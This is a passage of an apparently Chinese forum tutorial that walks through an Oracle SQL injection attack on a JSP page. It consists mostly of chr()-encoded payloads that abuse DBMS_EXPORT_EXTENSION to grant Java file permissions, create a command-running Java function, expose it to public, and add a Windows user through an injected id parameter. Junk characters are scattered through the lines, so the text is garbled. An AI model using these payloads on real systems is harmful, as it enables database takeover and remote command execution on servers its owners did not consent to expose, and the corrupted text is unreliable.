chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||
; J& ]* h& x$ ?$ L" s* i! [$ gchr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||
) D2 c4 H& h. @- k& \! Qchr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(125)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)
0 Z5 w, g! l; T& Y- O: j,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
- v: i' ] |! Z+ u. f
' \7 ^8 ]# \) @1 f)- K; n* c$ I; f
' ?$ d# Z3 M7 V- j0 i
------------------------------6 i. e2 Q/ g7 w
% {& |, V. U: {1 V) j" q& P# z
2.赋Java权限
" }1 H7 O3 E; a: t( o" V: Q( w. ~7 F# I. Q/xxx.jsp?id=1 and chr(49)<>chr(50)||(
0 x/ D- n2 `, p8 t- G( i* [$ p! X# ^& o8 y5 I' B- _+ A
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),1 R4 P8 \. A w O5 J5 x& J
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
7 }& _) q/ M7 U" ]5 t# T) w2 ~9 hchr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
0 p2 w. @7 q# i' D* |% |8 vchr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||* N2 k- U/ y3 h
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(98)||chr(101)||chr(103)||chr(105)||chr(110)||chr(32)||chr(100)||chr(98)||chr(109)||chr(115)||chr(95)||chr(106)||chr(97)||chr(118)||chr(97)||
; O: V( K( O" m ?# u7 l+ D8 Schr(46)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(95)||chr(112)||chr(101)||chr(114)||chr(109)||chr(105)||chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(40)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(80)||chr(85)||chr(66)||chr(76)||chr(73)||chr(67)||chr(39)||
4 ~ e/ w! q% J1 O# y6 s* w/ zchr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(83)||chr(89)||chr(83)||chr(58)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(105)||chr(111)||chr(46)||chr(70)||chr(105)||chr(108)||chr(101)||chr(80)||chr(101)||chr(114)||chr(109)||chr(105)||2 `2 m5 q* y8 [2 h
chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(39)||chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(60)||chr(60)||chr(65)||chr(76)||chr(76)||chr(32)||chr(70)||chr(73)||chr(76)||chr(69)||chr(83)||chr(62)||chr(62)||chr(39)||chr(39)||
0 z- C! ?' R" {" |$ H: xchr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(101)||chr(120)||chr(101)||chr(99)||chr(117)||chr(116)||chr(101)||chr(39)||chr(39)||chr(39)||chr(39)||chr(41)||chr(59)||chr(101)||chr(110)||chr(100)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||
% i% U% E1 c0 {chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)
. d" T+ s/ u9 P: C3 n) R' l- @. f,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual' k) `/ L2 n+ K/ o) s/ n
$ e+ i+ }0 V5 R1 x# ?$ T8 Y& `
)
+ C' g0 m, i/ Y9 G8 G5 V+ P0 u9 Z3 T% b$ G! ^6 x5 D$ X7 Y
readfile函数的ascii版就不写了,见谅。
" R5 Q+ s& L9 M% w5 n& j2 [) ?5 e9 o3 L5 k- S8 K
3.创建函数
" X9 ^$ K! Q5 t- p" [, t' s9 ]2 `3 E2 v: R( l, C- J8 }; @- G
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
0 V/ N$ {- v/ L$ I1 ]chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||: \$ K4 V, [7 g8 F2 K$ u/ c
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
1 v: l' W/ J, ^& Achr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||; |2 n2 X- x) {/ T8 Q& [
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||chr(108)||chr(97)||
) s; r8 y* b1 R* l: M7 Dchr(99)||chr(101)||chr(32)||chr(102)||chr(117)||chr(110)||chr(99)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(112)||chr(95)||chr(99)||chr(109)||chr(100)||chr(32)||chr(105)||1 V1 V+ j& |7 O5 S6 B; y1 l i
chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(41)||chr(32)||chr(32)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(32)||chr(32)||
: m$ g( w" e! y$ ~6 `) qchr(97)||chr(115)||chr(32)||chr(108)||chr(97)||chr(110)||chr(103)||chr(117)||chr(97)||chr(103)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(110)||chr(97)||chr(109)||chr(101)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(76)||chr(105)||chr(110)||chr(120)||
6 C2 g8 h! t: ^8 S O; bchr(85)||chr(116)||chr(105)||chr(108)||chr(46)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(108)||chr(97)||chr(110)||chr(103)||chr(46)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(41)||chr(32)||
: J- b2 f& }2 M0 e5 o. b" Wchr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(39)||chr(39)||chr(39)||chr(39)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||
* I# l1 |) C: n" Uchr(59)||chr(45)||chr(45)
% x8 O6 L# W$ k: S& v0 f,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual2 f4 t2 G6 O* O) p2 o
; o# P, u/ q' i' J
4 I7 X* g6 G, h7 @- w( D
& _1 M0 }8 Y* \7 c% c! J' `, H4.赋public执行函数的权限
% a6 g `& W! P3 E4 P: c+ Z
2 D( T! B9 J6 F p1 rselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
7 K* Y$ J0 o, V6 Schr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||& D( B4 `% g! p
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||2 J, m. m2 }4 e7 J7 ]
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||. _$ W/ I+ M7 O3 M
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(32)||chr(97)||chr(108)||chr(108)||chr(32)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||
9 i% Q/ P) ?& T1 ?% s0 wchr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(32)||chr(116)||chr(111)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||% n; u9 @' ]5 u- @. p$ v# `
chr(59)||chr(45)||chr(45)0 X% j1 e7 a5 ]5 N
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual( I( [4 l! @5 k _8 e. `4 c
9 |" L/ h0 Z+ t3 O7 F
3 N4 ^& X7 N- m5 R
& q8 A1 R5 P9 s5.执行命令:7 _7 h+ M# O: P6 ^6 e
' i+ H e: @/ j
/xxx.jsp?id=1 and chr(49)<>chr(32)||(" \% d: ]! X) e0 D" l
select sys.LinxRunCMD('cmd /c net user linx /add') from dual
4 S4 T1 L7 \5 F% k8 L9 t$ f% I3 J)2 m/ |( t# }% g1 C9 i
6 n# e* t) J* D& u( n7 I. _& E
即
, I- L/ P4 G3 K2 r" U' `3 C, t/xxx.jsp?id=1 and chr(49)<>chr(32)||(1 I4 _9 \5 i c" j8 L0 ~' m
select sys.LinxRunCMD(chr(99)||chr(109)||chr(100)||chr(32)||chr(47)||chr(99)||chr(32)||chr(110)||chr(101)||chr(116)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(32)||chr(47)||chr(97)||chr(100)||chr(100)) from dual- w" l/ ^3 B0 {& o2 E1 }# N( K
)5 D/ j& _+ ~5 j- k7 W# z- B% [3 Y
|